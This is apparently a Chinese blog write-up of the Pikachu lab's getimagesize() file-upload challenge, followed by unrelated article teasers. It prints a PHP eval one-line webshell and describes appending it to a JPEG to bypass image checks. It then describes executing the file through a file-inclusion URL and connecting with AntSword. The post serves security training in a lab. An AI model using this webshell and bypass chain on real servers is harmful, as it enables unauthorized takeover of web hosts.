【CTF Web】Pikachu getimagesize() Writeup(文件上传+PHP+文件包含漏洞+JPEG图片马+getimagesize绕过)

embedded/2024/10/18 21:30:58/

安全的文件上传漏洞概述

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
–验证文件类型、后缀名、大小;
–验证文件的上传方式;
–对文件进行一定复杂的重命名;
–不要暴露文件上传后的路径;
–等等…
你可以通过“Unsafe file upload”对应的测试栏目,来进一步的了解该漏洞。

提示

getimagesize了解一下


解法

上传一句话木马。

php"><?php @eval($_POST['a']); ?>

上传失败。

审查元素。

<div class="page-content"><div id="usu_main"><p class="title">这里只允许上传图片,不要乱搞!</p><form class="upload" method="post" enctype="multipart/form-data" action=""><input class="uploadfile" type="file" name="uploadfile"><br><input class="sub" type="submit" name="submit" value="开始上传"></form><p class="notice">上传文件的后缀名不能为空,且必须是jpg,jpeg,png中的一个</p>            </div></div>

将后缀改为 .jpg 后上传。上传失败。

用 Photoshop 创建图片。

winhex 打开文件,文件结尾接一句话木马。

php"><?php @eval($_POST['a']); ?>

保存。上传成功。

借用文件包含漏洞:

http://172.17.149.214:8765/vul/fileinclude/fi_remote.php?filename=http://172.17.149.214:8765/vul/unsafeupload/uploads/2024/05/11/404512663f369dc1222657174065.jpg&submit=%E6%8F%90%E4%BA%A4

用蚁剑连接。


声明

本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规

博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任


http://www.ppmy.cn/embedded/128561.html

相关文章

TCAD仿真中解析函数的应用

目录 使用解析函数进行精细化 I-Using Analytic Functions for Refinement I定义 (Definitions)细化 "Region_1" (Refinement "Region_1")解析轮廓 "Profile_1" (AnalyticalProfile "Profile_1") 放置 (Placements)细化 "Region_…

MySQL面试专题-索引

一、MySQL为什么要选择B树来存储索引&#xff1f; MySQL的索引选择B树作为数据结构来进行存储&#xff0c;其本质原因在于可以减少IO次数&#xff0c;提高查询效率&#xff0c;简单来说就是保证在树的高度不变的情况下可以存储更多的数据。 &#xff08;一&#xff09;IO角度 在…

计算机网络—静态路由

1.0 网络拓扑结构 星型拓扑结构是一个中心&#xff0c;多个分节点。它结构简单&#xff0c;连接方便&#xff0c;管理和维护都相对容易&#xff0c;而且扩展性强。网络延迟时间较小&#xff0c;传输误差低。中心无故障&#xff0c;一般网络没问题。中心故障&#xff0c;网络就出…

[Python基础](1) 输入与输出的实现

作者制作不易&#xff0c;关注、点赞、收藏一下吧! 1.输入 一般的&#xff0c;输入使用Python内置函数 input(): 变量名 input() 变量存储输入的数据&#xff0c;括号中可以加提示语&#xff0c;也可以不加。 a input("你叫什么?") # 输入 print(a) # 输出&a…

Linux Git

在.gitignore 文件中的后缀 上传到仓库时会忽略。 git仓库本质是.git目录中的内容&#xff0c;push到远端就是将.git内容传到仓库中。 process存储进度条程序 git add .将process存储在仓库临时存储部分 下图指令将process存储到仓库中 上传到远端GitHub中。用令牌登录。 仓库…

TCP/IP传输协议,易懂!!!

文章目录 1.TCP/IP协议族体系1.1 简介1.2 各层细讲1.2.1 应用层1.2.2 传输层1.2.3 网络层1.2.4 网络接口和物理层 2.网络IP和端口的处理函数2.1 端口处理函数2.1.1 端口号2.1.2 字节序2.1.3 处理函数2.1.3.1 主机转为网络2.1.3.2 网络转为主机 2.2 IP处理函数2.2.1 inet_aton函…

【4.10】图搜索算法-BFS和DFS解电话号码的字母组合

一、题目 给定一个仅包含数字 2-9 的字符串&#xff0c;返回所有它能表示的字母组合。答案可以按 任意顺序 返回。给出数字到字母的映射如下&#xff08;与电话按键相同&#xff09;。注意 1 不对应任何字母。 示例 1&#xff1a; 输入&#xff1a;digits "23" 输出…

UML(Unified Modeling Language,统一建模语言)

UML&#xff08;Unified Modeling Language&#xff0c;统一建模语言&#xff09;是一种标准化的图形化语言&#xff0c;用于软件工程中的可视化建模。UML由Grady Booch、James Rumbaugh和Ivar Jacobson共同开发&#xff0c;他们各自的工作&#xff08;Booch方法、OMT方法和OOS…